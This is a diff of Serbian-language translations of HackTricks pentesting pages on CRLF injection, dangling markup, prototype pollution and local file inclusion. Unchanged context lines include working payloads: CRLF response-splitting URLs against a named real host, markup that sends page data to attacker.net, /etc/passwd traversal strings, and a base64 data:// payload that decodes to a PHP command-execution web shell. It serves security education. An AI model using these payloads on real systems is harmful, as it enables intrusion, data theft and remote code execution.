2. Aplikacija preuzima vrednost za `UserInput` iz parametra upita, recimo "user_input". U scenarijima koji nemaju pravilnu validaciju i kodiranje unosa, napadač može kreirati payload koji uključuje CRLF sekvencu, praćenu zlonamernim sadržajem.
|
||||
3. Napadač kreira URL sa posebno kreiranim 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||||
- U ovom URL-u, `%0d%0a%0d%0a` je URL-enkodirani oblik CRLFCRLF. To obmanjuje server da umetne CRLF sekvencu, čineći da server tretira naredni deo kao telo odgovora.
|
||||
4. Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukture odgovora gde zlonamerni skript interpretira pregledač kao deo tela odgovora.
|
||||
4. Server odražava napadačev unos u zaglavlju odgovora, što dovodi do nenamernog strukturalnog odgovora gde zlonamerni skript interpretira pregledač kao deo tela odgovora.
|
||||
|
||||
#### Primer HTTP Response Splitting koji dovodi do preusmeravanja
|
||||
|
||||
@ -59,7 +57,7 @@ I server odgovaraju sa zaglavljem:
|
||||
```
|
||||
Location: http://myweb.com
|
||||
```
|
||||
**Drugi primer: (sa** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
||||
**Drugi primer: (iz** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
||||
```
|
||||
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
@ -70,21 +68,21 @@ Možete poslati payload **unutar URL putanje** da kontrolišete **odgovor** sa s
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
Pogledajte više primera u:
|
||||
|
||||
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
|
||||
{{#endref}}
|
||||
|
||||
### HTTP Header Injection
|
||||
|
||||
HTTP Header Injection, često iskorišćen kroz CRLF (Carriage Return and Line Feed) injekciju, omogućava napadačima da umetnu HTTP zaglavlja. Ovo može oslabiti bezbednosne mehanizme kao što su XSS (Cross-Site Scripting) filteri ili SOP (Same-Origin Policy), potencijalno dovodeći do neovlašćenog pristupa osetljivim podacima, kao što su CSRF tokeni, ili manipulacije korisničkim sesijama kroz postavljanje kolačića.
|
||||
|
||||
#### Iskorišćavanje CORS-a putem HTTP Header Injection
|
||||
#### Exploiting CORS via HTTP Header Injection
|
||||
|
||||
Napadač može umetnuti HTTP zaglavlja kako bi omogućio CORS (Cross-Origin Resource Sharing), zaobilazeći ograničenja koja postavlja SOP. Ova povreda omogućava skriptama iz zlonamernih izvora da komuniciraju sa resursima iz drugog izvora, potencijalno pristupajući zaštićenim podacima.
|
||||
|
||||
#### SSRF i HTTP Request Injection putem CRLF
|
||||
#### SSRF and HTTP Request Injection via CRLF
|
||||
|
||||
CRLF injekcija se može iskoristiti za kreiranje i umetanje potpuno novog HTTP zahteva. Značajan primer ovoga je ranjivost u PHP-ovoj `SoapClient` klasi, posebno unutar `user_agent` parametra. Manipulacijom ovog parametra, napadač može umetnuti dodatna zaglavlja i sadržaj tela, ili čak umetnuti potpuno novi HTTP zahtev. Ispod je PHP primer koji demonstrira ovo iskorišćavanje:
|
||||
CRLF injekcija se može iskoristiti za kreiranje i umetanje potpuno novog HTTP zahteva. Značajan primer ovoga je ranjivost u PHP-ovoj `SoapClient` klasi, posebno unutar `user_agent` parametra. Manipulacijom ovog parametra, napadač može umetnuti dodatna zaglavlja i sadržaj tela, ili čak potpuno injektovati novi HTTP zahtev. Ispod je PHP primer koji demonstrira ovu eksploataciju:
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
$post_string = 'variable=post value';
|
||||
@ -113,7 +111,7 @@ $client->__soapCall("test", []);
|
||||
|
||||
Za više informacija o ovoj tehnici i potencijalnim problemima [**proverite izvor**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||||
|
||||
Možete ubrizgati bitne zaglavlja kako biste osigurali da **back-end zadrži vezu otvorenom** nakon odgovora na inicijalni zahtev:
|
||||
Možete injektovati bitne header-e kako biste osigurali da **back-end zadrži vezu otvorenom** nakon odgovora na inicijalni zahtev:
|
||||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
@ -137,11 +135,11 @@ Memcache je **key-value store koji koristi protokol u čistom tekstu**. Više in
|
||||
../network-services-pentesting/11211-memcache/
|
||||
{{#endref}}
|
||||
|
||||
**Za sve informacije pročitajte**[ **originalni tekst**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
**Za sve informacije pročitajte**[ **originalni izveštaj**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
|
||||
Ako platforma uzima **podatke iz HTTP zahteva i koristi ih bez sanitizacije** za obavljanje **zahteva** ka **memcache** serveru, napadač bi mogao da zloupotrebi ovo ponašanje da **ubaci nove memcache komande**.
|
||||
|
||||
Na primer, u prvobitno otkrivenoj ranjivosti, keš ključevi su korišćeni da vrate IP i port na koji bi korisnik trebao da se poveže, a napadači su mogli da **ubace memcache komande** koje bi **otrovale** **keš da pošalje detalje žrtava** (korisnička imena i lozinke uključene) na servere napadača:
|
||||
Na primer, u prvobitno otkrivenoj ranjivosti, keš ključevi su korišćeni da vrate IP i port na koji bi korisnik trebao da se poveže, a napadači su mogli da **ubace memcache komande** koje bi **otrovale** **keš da pošalje detalje žrtava** (uključujući korisnička imena i lozinke) na servere napadača:
|
||||
|
||||
<figure><img src="../images/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
@ -154,7 +152,7 @@ Pored toga, istraživači su takođe otkrili da mogu da desinkronizuju memcache
|
||||
Da bi se smanjili rizici od CRLF (Carriage Return and Line Feed) ili HTTP zaglavlja injekcija u web aplikacijama, preporučuju se sledeće strategije:
|
||||
|
||||
1. **Izbegavajte direktan unos korisnika u zaglavljima odgovora:** Najsigurniji pristup je da se ne uključuje unos koji je obezbedio korisnik direktno u zaglavlja odgovora.
|
||||
2. **Kodirajte posebne karaktere:** Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obavezno koristite funkciju posvećenu kodiranju posebnih karaktera kao što su CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF injekcije.
|
||||
2. **Kodirajte specijalne karaktere:** Ako izbegavanje direktnog unosa korisnika nije izvodljivo, obavezno koristite funkciju posvećenu kodiranju specijalnih karaktera kao što su CR (Carriage Return) i LF (Line Feed). Ova praksa sprečava mogućnost CRLF injekcije.
|
||||
3. **Ažurirajte programski jezik:** Redovno ažurirajte programski jezik koji se koristi u vašim web aplikacijama na najnoviju verziju. Odaberite verziju koja inherentno zabranjuje injekciju CR i LF karaktera unutar funkcija koje su zadužene za postavljanje HTTP zaglavlja.
|
||||
|
||||
### CHEATSHEET
|
||||
@ -197,6 +195,4 @@ Da bi se smanjili rizici od CRLF (Carriage Return and Line Feed) ili HTTP zaglav
|
||||
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -73,7 +73,7 @@ Možete učiniti isto injektovanjem forme i `<option>` taga. Svi podaci do zatvo
|
||||
```
|
||||
### Injekcija parametara forme
|
||||
|
||||
Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti neočekivana radnja:
|
||||
Možete promeniti putanju forme i uneti nove vrednosti tako da će se izvršiti neočekivana akcija:
|
||||
```html
|
||||
<form action="/change_settings.php">
|
||||
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
|
||||
@ -101,8 +101,8 @@ Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-cs
|
||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||
<base target='
|
||||
```
|
||||
Napomena da ćete zamoliti **žrtvu** da **klikne na link** koji će ga **preusmeriti** na **payload** koji kontrolišete. Takođe, imajte na umu da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** sve do sledeće jednostruke navodnike.\
|
||||
To će učiniti da će **vrednost** **`window.name`** ako se link klikne biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na kojoj žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekstraktovati** te podatke:
|
||||
Napomena da ćete tražiti od **žrtve** da **klikne na link** koji će ga **preusmeriti** na **payload** koji kontrolišete. Takođe, imajte na umu da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** do sledeće jednostruke navodnike.\
|
||||
To će učiniti da će **vrednost** **`window.name`** ako se link klikne biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na kojoj žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekfiltrirati** te podatke:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
@ -130,7 +130,7 @@ The subsequent assignment fails in IE is_public = true; else is_public = false;
|
||||
} function submit_new_acls() { ... if (is_public) request.access_mode =
|
||||
AM_PUBLIC; ← Condition always evaluates to true ... }
|
||||
```
|
||||
### Zloupotreba JSONP
|
||||
### Abuse of JSONP
|
||||
|
||||
Ako pronađete JSONP interfejs, mogli biste biti u mogućnosti da pozovete proizvoljnu funkciju sa proizvoljnim podacima:
|
||||
```html
|
||||
@ -150,7 +150,7 @@ Ili možete čak pokušati da izvršite neki javascript:
|
||||
```
|
||||
### Iframe zloupotreba
|
||||
|
||||
Dečiji dokument ima mogućnost da pregleda i menja `location` svojstvo svog roditelja, čak i u situacijama sa različitim izvorima. To omogućava umetanje skripte unutar **iframe** koja može preusmeriti klijenta na proizvoljnu stranicu:
|
||||
Dečiji dokument ima mogućnost da pregleda i menja `location` svojstvo svog roditelja, čak i u situacijama sa različitim poreklima. To omogućava umetanje skripte unutar **iframe** koja može preusmeriti klijenta na proizvoljnu stranicu:
|
||||
```html
|
||||
<html>
|
||||
<head></head>
|
||||
@ -186,7 +186,7 @@ Ovo se može **izbeći** sa **CSP** u vezi sa **http-equiv** ( `Content-Security
|
||||
|
||||
### Novi \<portal HTML tag
|
||||
|
||||
Možete pronaći veoma **interesting research** o iskoristivim ranjivostima \<portal taga [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
Možete pronaći veoma **zanimljivo istraživanje** o iskoristivim ranjivostima \<portal taga [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u `chrome://flags/#enable-portals` ili neće raditi.
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
@ -197,7 +197,7 @@ Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali
|
||||
|
||||
## SS-Leaks
|
||||
|
||||
Ovo je **mešavina** između **dangling markup i XS-Leaks**. S jedne strane, ranjivost omogućava **injekciju HTML-a** (ali ne JS) na stranicu **iste domene** koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na kojoj možemo injektovati HTML, već **druguu stranicu**.
|
||||
Ovo je **mešavina** između **dangling markup i XS-Leaks**. S jedne strane, ranjivost omogućava **injekciju HTML-a** (ali ne JS) na stranicu **iste domene** kao one koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na koju možemo injektovati HTML, već **druguu stranicu**.
|
||||
|
||||
{{#ref}}
|
||||
ss-leaks.md
|
||||
@ -213,7 +213,9 @@ XS-Search su orijentisani na **ekstrakciju informacija iz različitih domena** z
|
||||
|
||||
## Brute-Force Detection List
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
|
@ -13,7 +13,7 @@ Prazan objekat je sličan praznom rečniku, predstavljen kao `{}`.
|
||||
|
||||
### Funkcije i klase u JavaScript-u
|
||||
|
||||
U JavaScript-u, klase i funkcije su usko povezane, pri čemu funkcije često služe kao konstruktori za klase. I pored nedostatka podrške za klase u JavaScript-u, konstruktori mogu emulirati ponašanje klasa.
|
||||
U JavaScript-u, klase i funkcije su usko povezane, pri čemu funkcije često služe kao konstruktori za klase. I pored toga što JavaScript nema podršku za klase, konstruktori mogu emulirati ponašanje klasa.
|
||||
```javascript
|
||||
// Run this in the developers tools console
|
||||
|
||||
@ -31,25 +31,25 @@ var employee1 = new Employee("Generic Employee", "Developer")
|
||||
|
||||
employee1.__proto__
|
||||
```
|
||||
### Prototipi u JavaScriptu
|
||||
### Prototypes in JavaScript
|
||||
|
||||
JavaScript omogućava modifikaciju, dodavanje ili brisanje atributa prototipa u vreme izvođenja. Ova fleksibilnost omogućava dinamičko proširenje funkcionalnosti klasa.
|
||||
|
||||
Funkcije kao što su `toString` i `valueOf` mogu se menjati kako bi se promenilo njihovo ponašanje, što pokazuje prilagodljivu prirodu JavaScriptovog prototipnog sistema.
|
||||
Funkcije kao što su `toString` i `valueOf` mogu se menjati kako bi se promenilo njihovo ponašanje, što pokazuje prilagodljivu prirodu JavaScript-ovog prototipnog sistema.
|
||||
|
||||
## Nasleđivanje
|
||||
## Inheritance
|
||||
|
||||
U programiranju zasnovanom na prototipovima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.
|
||||
|
||||
Treba napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je `myPersonObj`), nasleđeni objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.
|
||||
Treba napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je `myPersonObj`), nasleđujući objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.
|
||||
|
||||
## \_\_proto\_\_ zagađenje <a href="#id-0d0a" id="id-0d0a"></a>
|
||||
## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
|
||||
|
||||
## Istraživanje zagađenja prototipa u JavaScriptu
|
||||
## Exploring Prototype Pollution in JavaScript
|
||||
|
||||
JavaScript objekti se definišu parovima ključ-vrednost i nasleđuju iz JavaScript Object prototipa. To znači da modifikacija Object prototipa može uticati na sve objekte u okruženju.
|
||||
JavaScript objekti su definisani parovima ključ-vrednost i nasleđuju iz JavaScript Object prototipa. To znači da modifikacija Object prototipa može uticati na sve objekte u okruženju.
|
||||
|
||||
Hajde da upotrebimo drugi primer za ilustraciju:
|
||||
Hajde da upotrebimo drugi primer da ilustrujemo:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model
|
||||
@ -76,9 +76,9 @@ car1.announce() // Outputs "Beep beep!"
|
||||
car1.__proto__.__proto__.isVehicle = true
|
||||
console.log(car1.isVehicle) // Outputs true
|
||||
```
|
||||
## zagađenje prototipa
|
||||
## prototype pollution
|
||||
|
||||
Za scenario gde je korišćenje `__proto__` ograničeno, modifikacija prototipa funkcije je alternativa:
|
||||
Za scenario u kojoj je korišćenje `__proto__` ograničeno, modifikacija prototipa funkcije je alternativa:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model
|
||||
@ -108,7 +108,7 @@ Object.prototype.goodbye = function () {
|
||||
console.log("Goodbye!")
|
||||
}
|
||||
```
|
||||
2. Zagađivanje prototipa konstruktora za često korišćenu strukturu:
|
||||
2. Zagađenje prototipa konstruktora za često korišćenu strukturu:
|
||||
```javascript
|
||||
var example = { key: "value" }
|
||||
example.constructor.prototype.greet = function () {
|
||||
@ -144,7 +144,7 @@ console.log(key1 + "." + key2)
|
||||
```
|
||||
### Zagađenje elemenata niza
|
||||
|
||||
Imajte na umu da, kao što možete zagađivati atribute objekata u JS-u, ako imate pristup zagađivanju niza, možete takođe **zagađivati vrednosti niza** dostupne **preko indeksa** (imajte na umu da ne možete prepisivati vrednosti, tako da morate zagađivati indekse koji se na neki način koriste, ali se ne pišu).
|
||||
Imajte na umu da, kao što možete zagađivati atribute objekata u JS-u, ako imate pristup da zagađujete niz, možete takođe **zagađivati vrednosti niza** dostupne **preko indeksa** (imajte na umu da ne možete prepisivati vrednosti, tako da morate zagađivati indekse koji se na neki način koriste, ali se ne pišu).
|
||||
```javascript
|
||||
c = [1, 2]
|
||||
a = []
|
||||
@ -222,13 +222,15 @@ Ova ranjivost, identifikovana kao CVE-2019–11358, ilustruje kako duboka kopija
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Napad zagađenja prototipa kroz lodash
|
||||
|
||||
[Za više detalja proverite ovaj članak](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
[Za više detalja pogledajte ovaj članak](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) se suočio sa sličnim ranjivostima zagađenja prototipa (CVE-2018–3721, CVE-2019–10744). Ovi problemi su rešeni u verziji 4.17.11.
|
||||
|
||||
### Još jedan tutorijal sa CVE-ima
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
|
||||
{{#endref}}
|
||||
|
||||
### Alati za otkrivanje zagađenja prototipa
|
||||
|
||||
@ -241,13 +243,13 @@ NodeJS široko koristi Apstraktna Sintaktička Stabla (AST) u JavaScript-u za fu
|
||||
|
||||
#### Analiza ranjivosti Handlebars
|
||||
|
||||
Engine za šablone Handlebars je podložan napadu zagađenja prototipa. Ova ranjivost proizašla je iz specifičnih funkcija unutar `javascript-compiler.js` datoteke. Funkcija `appendContent`, na primer, konkatenira `pendingContent` ako je prisutan, dok funkcija `pushSource` resetuje `pendingContent` na `undefined` nakon dodavanja izvora.
|
||||
Engine za šablone Handlebars je podložan napadu zagađenja prototipa. Ova ranjivost proizašla je iz specifičnih funkcija unutar datoteke `javascript-compiler.js`. Funkcija `appendContent`, na primer, konkatenira `pendingContent` ako je prisutan, dok funkcija `pushSource` resetuje `pendingContent` na `undefined` nakon dodavanja izvora.
|
||||
|
||||
**Proces eksploatacije**
|
||||
|
||||
Eksploatacija koristi AST (Apstraktno Sintaktičko Stablo) koje proizvodi Handlebars, prateći ove korake:
|
||||
|
||||
1. **Manipulacija Parserom**: U početku, parser, putem `NumberLiteral` čvora, nameće da su vrednosti numeričke. Zagađenje prototipa može to zaobići, omogućavajući umetanje nenumeričkih stringova.
|
||||
1. **Manipulacija Parserom**: U početku, parser, putem čvora `NumberLiteral`, nameće da su vrednosti numeričke. Zagađenje prototipa može to zaobići, omogućavajući umetanje nenumeričkih stringova.
|
||||
2. **Obrada od strane Kompajlera**: Kompajler može obraditi AST objekat ili string šablon. Ako `input.type` jednako `Program`, ulaz se tretira kao prethodno analiziran, što se može iskoristiti.
|
||||
3. **Umetanje Koda**: Kroz manipulaciju `Object.prototype`, može se umetnuti proizvoljan kod u funkciju šablona, što može dovesti do daljinskog izvršavanja koda.
|
||||
|
||||
@ -334,7 +336,7 @@ requests.get(TARGET_URL)
|
||||
```
|
||||
### Preventivne Mere
|
||||
|
||||
Da bi se smanjio rizik od zagađenja prototipa, mogu se primeniti sledeće strategije:
|
||||
Da se smanji rizik od zagađenja prototipa, mogu se primeniti sledeće strategije:
|
||||
|
||||
1. **Imutabilnost objekta**: `Object.prototype` se može učiniti imutabilnim primenom `Object.freeze`.
|
||||
2. **Validacija ulaza**: JSON ulazi treba rigorozno validirati prema šemi aplikacije.
|
||||
@ -345,8 +347,8 @@ Da bi se smanjio rizik od zagađenja prototipa, mogu se primeniti sledeće strat
|
||||
7. **Linter i alati za statičku analizu**: Koristite alate poput ESLint-a sa odgovarajućim dodacima za otkrivanje i sprečavanje ranjivosti na zagađenje prototipa.
|
||||
8. **Revizije koda**: Implementirati temeljne revizije koda kako bi se identifikovali i otklonili potencijalni rizici vezani za zagađenje prototipa.
|
||||
9. **Obuka o bezbednosti**: Obrazovati programere o rizicima zagađenja prototipa i najboljim praksama za pisanje sigurnog koda.
|
||||
10. **Korišćenje biblioteka sa oprezom**: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procijenite njihov sigurnosni položaj i pregledajte njihov kod, posebno onih koji manipulišu objektima.
|
||||
11. **Zaštita u vreme izvođenja**: Primena mehanizama zaštite u vreme izvođenja, kao što su korišćenje npm paketa fokusiranih na bezbednost koji mogu otkriti i sprečiti napade zagađenja prototipa.
|
||||
10. **Korišćenje biblioteka sa oprezom**: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procijenite njihovu sigurnosnu poziciju i pregledajte njihov kod, posebno one koji manipulišu objektima.
|
||||
11. **Zaštita u vreme izvođenja**: Primena mehanizama zaštite u vreme izvođenja kao što su korišćenje npm paketa fokusiranih na bezbednost koji mogu otkriti i sprečiti napade zagađenja prototipa.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -21,7 +21,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
**Kombinovanjem nekoliko \*nix LFI lista i dodavanjem više putanja, kreirao sam ovu:**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Pokušajte takođe da promenite `/` u `\`\
|
||||
Pokušajte takođe da dodate `../../../../../`
|
||||
@ -32,7 +34,9 @@ Lista koja koristi nekoliko tehnika za pronalaženje datoteke /etc/password (da
|
||||
|
||||
Spajanje različitih rečnika:
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Pokušajte takođe da promenite `/` u `\`\
|
||||
Pokušajte takođe da uklonite `C:/` i dodate `../../../../../`
|
||||
@ -45,11 +49,11 @@ Proverite LFI listu za linux.
|
||||
|
||||
## Osnovni LFI i zaobilaženja
|
||||
|
||||
Svi primeri su za Local File Inclusion, ali se mogu primeniti i na Remote File Inclusion (stranica=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Svi primeri su za Lokalnu Uključivanje Datoteka, ali se mogu primeniti i na Daljinsko Uključivanje Datoteka (stranica=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sekvence prolaza uklonjene ne-rekurzivno
|
||||
### sekvence prolaza uklonjene nekorekurzivno
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -90,10 +94,10 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Tumačenje Ishoda:** Odgovor servera ukazuje na to da li folder postoji:
|
||||
3. **Tumačenje Ishoda:** Odgovor servera ukazuje da li folder postoji:
|
||||
- **Greška / Nema Izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
|
||||
- **Sadržaj `/etc/passwd`:** Prisutnost foldera `private` je potvrđena.
|
||||
4. **Rekurzivna Istraživanja:** Otkriveni folderi se mogu dodatno istraživati za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
|
||||
4. **Rekurzivna Istraživanja:** Otkriveni folderi se mogu dodatno istraživati za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Local File Inclusion (LFI).
|
||||
|
||||
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži `private` direktorijum (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
|
||||
```bash
|
||||
@ -101,13 +105,13 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Tehnika skraćivanja putanje**
|
||||
|
||||
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama fajlova u veb aplikacijama. Često se koristi za pristup ograničenim fajlovima zaobilaženjem određenih bezbednosnih mera koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je kreirati putanju fajla koja, kada je izmenjena bezbednosnom merom, i dalje ukazuje na željeni fajl.
|
||||
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u web aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je kreirati putanju datoteke koja, kada je izmenjena sigurnosnom merom, i dalje ukazuje na željenu datoteku.
|
||||
|
||||
U PHP-u, različite reprezentacije putanje fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
|
||||
U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentnim zbog prirode datotečnog sistema. Na primer:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, i `/etc/passwd/` se svi tretiraju kao ista putanja.
|
||||
- Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (čime postaje `passwd/`) ne menja ciljani fajl.
|
||||
- Slično, ako se `.php` doda putanji fajla (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti fajl koji se pristupa.
|
||||
- Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (što ga čini `passwd/`) ne menja ciljanju datoteku.
|
||||
- Slično, ako se `.php` doda putanji datoteke (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa.
|
||||
|
||||
Pruženi primeri pokazuju kako koristiti skraćivanje putanje za pristup `/etc/passwd`, uobičajenom cilju zbog svog osetljivog sadržaja (informacije o korisničkim računima):
|
||||
```
|
||||
@ -149,9 +153,9 @@ Ako je iz nekog razloga **`allow_url_include`** podešeno na **On**, ali PHP **f
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!NOTE]
|
||||
> U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koji se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće i pravi PHP kod će biti uključen (i stoga, izvršen).
|
||||
> U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koja se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen).
|
||||
|
||||
Još jedan primer **koji ne koristi `php://` protokol** bi bio:
|
||||
Još jedan primer **koji ne koristi `php://` protokol** bio bi:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
@ -167,17 +171,17 @@ Ako korisnik prosledi **apsolutnu putanju** do **`file_name`**, **prethodna puta
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
To je očekivano ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
To je predviđeno ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od komponente apsolutne putanje.
|
||||
|
||||
## Java Lista direktorijuma
|
||||
## Java Lista Direktorijuma
|
||||
|
||||
Izgleda da ako imate Path Traversal u Javi i **tražite direktorijum** umesto datoteke, **vraća se lista direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
|
||||
|
||||
